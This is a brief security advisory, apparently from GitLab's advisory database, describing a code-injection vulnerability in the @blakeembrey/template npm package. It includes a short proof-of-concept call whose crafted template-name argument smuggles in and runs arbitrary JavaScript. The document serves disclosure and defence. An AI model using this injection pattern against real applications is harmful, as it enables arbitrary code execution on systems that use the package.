CVE-2024-45390: @blakeembrey/template vulnerable to code injection when attacker controls template input
(updated )
It is possible to inject and run code within the template if the attacker has access to write the template name.
const { template } = require('@blakeembrey/template');
template("Hello {{name}}!", "exploit() {} && ((()=>{ console.log('success'); })()) && function pwned");
References
Detect and mitigate CVE-2024-45390 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →